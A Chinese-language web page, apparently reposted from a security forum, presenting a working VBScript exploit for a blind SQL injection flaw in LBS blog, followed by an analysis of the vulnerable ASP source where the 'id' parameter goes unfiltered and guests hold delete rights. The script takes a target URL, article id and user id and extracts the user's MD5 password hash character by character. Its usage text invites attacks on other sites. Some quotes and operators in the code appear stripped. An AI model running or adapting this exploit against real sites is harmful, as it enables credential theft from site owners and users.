您好,欢迎访问一九零五行业门户网

LBS blog sql注射漏洞[All version]-官方已有补丁_javascript技巧

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧
'from 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
on error resume next
dim oargs
dim olbsxml 'xmlhttp对象用来打开目标网址
dim targeturl '目标网址
dim userid,articleid '博客用户名
dim tempstr '存放已获取的部分 md5密码
dim charhex '定义16进制字符
dim charset
set oargs = wscript.arguments
if oargs.count
set olbsxml = createobject(microsoft.xmlhttp)
'补充完整目标网址
targeturl = oargs(0)
if lcase(left(targeturl,7))  http:// then targeturl = http:// & targeturl
if right(targeturl,1)  / then targeturl = targeturl & /
targeturl=targeturl & article.asp
articleid=oargs(1)
userid=oargs(2)
tempstr=
charhex=split(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,,)
wscript.echo lbs blog all version exploit&vbcrlf
wscript.echo by 剑心&vbcrlf
wscript.echo http://www.loveshell.net/    just for fun :)&vbcrlf&vbcrlf
wscript.echo +fuck the site now&vbcrlf
call main(targeturl,blogname)
set obokexml = nothing
'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
sub main(targeturl,blogname)
dim mainoffset,suboffset,templen,openurl,getpage
for mainoffset = 1 to 40
for suboffset = 0 to 15
templen = 0
    postdata = 
    postdata = articleid & and (select left(user_password,&mainoffset&) from blog_user where user_id= & userid & )=' & tempstr&charhex(suboffset) &'
openurl = targeturl
olbsxml.open post,openurl, false, , 
    olbsxml.setrequestheader content-type,application/x-www-form-urlencoded
olbsxml.send act=delete&id=& escape(postdata)
getpage = bytestobstr(olbsxml.responsebody)
'判断访问的页面是否存在
if instr(getpage,deleted)0 then 
'博客用户不存在或填写的资料有误 为错误标志 ,返回此标志说明 猜解的 md5 不正确
'如果得到 0000000000000000 的 md5 值,请修改错误标志
elseif instr(getpage,permission)0 then
tempstr=tempstr & charhex(suboffset)
wscript.echo +crack now:&tempstr
exit for
else
wscript.echo vbcrlf & something error & vbcrlf 
wscript.echo vbcrlf & getpage& vbcrlf 
wscript.quit
end if 
next
next
wscript.echo vbcrlf& +we got it: & tempstr & vbcrlf &vbcrlf&:p don't be evil
end sub
'============================================
'函数名称:bytestobstr
'函数功能:将xmlhttp对象中的内容转化为gb2312编码
'============================================
function bytestobstr(body)
dim objstream
set objstream = createobject(adodb.stream)
objstream.type = 1
objstream.mode =3
objstream.open
objstream.write body
objstream.position = 0
objstream.type = 2
objstream.charset = gb2312
bytestobstr = objstream.readtext
objstream.close
set objstream = nothing
end function
'============================
'函数名称:showusage
'函数功能:使用方法提示
'============================
sub showusage()
wscript.echo  lbs blog exploit & vbcrlf &  by loveshell/剑心
wscript.echo usage:& vbcrlf &  cscript  & wscript.scriptfullname & targeturl blogname
wscript.echo example:& vbcrlf &  cscript  & wscript.scriptfullname & http://www.loveshell.net/ 1 1
wscript.echo 
wscript.quit
end sub
漏洞说明:
src_article.asp中的
......
input[log_id]=func.checkint(input[log_id]);
if(!input[id]){
strerror=lang[invalid_parameter];
}else{
// check if the article exists
thearticle.load(log_id, log_authorid, log_catid,log_id=+input[id]);
strerror=false;
}
......
过滤的是log_id,但是使用的确实id,呵呵 :)
然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpa=connblog.query(select top 1 +strselect+ from [blog_article] where +strwhere);
if(tmpa){
this.fill(tmpa[0]);
return true;
}else{
return false;
}
}
上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!
function articledelete(){
if(theuser.rights[delete]// check user right - without db query
pageheader(lang[error]);
redirectmessage(lang[error], lang[no_rights], lang[goback], javascript:window.history.back();, false, errorbox);
}else{
var thearticle=new lbsarticle();
var strerror;
默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵
其它类似信息

推荐信息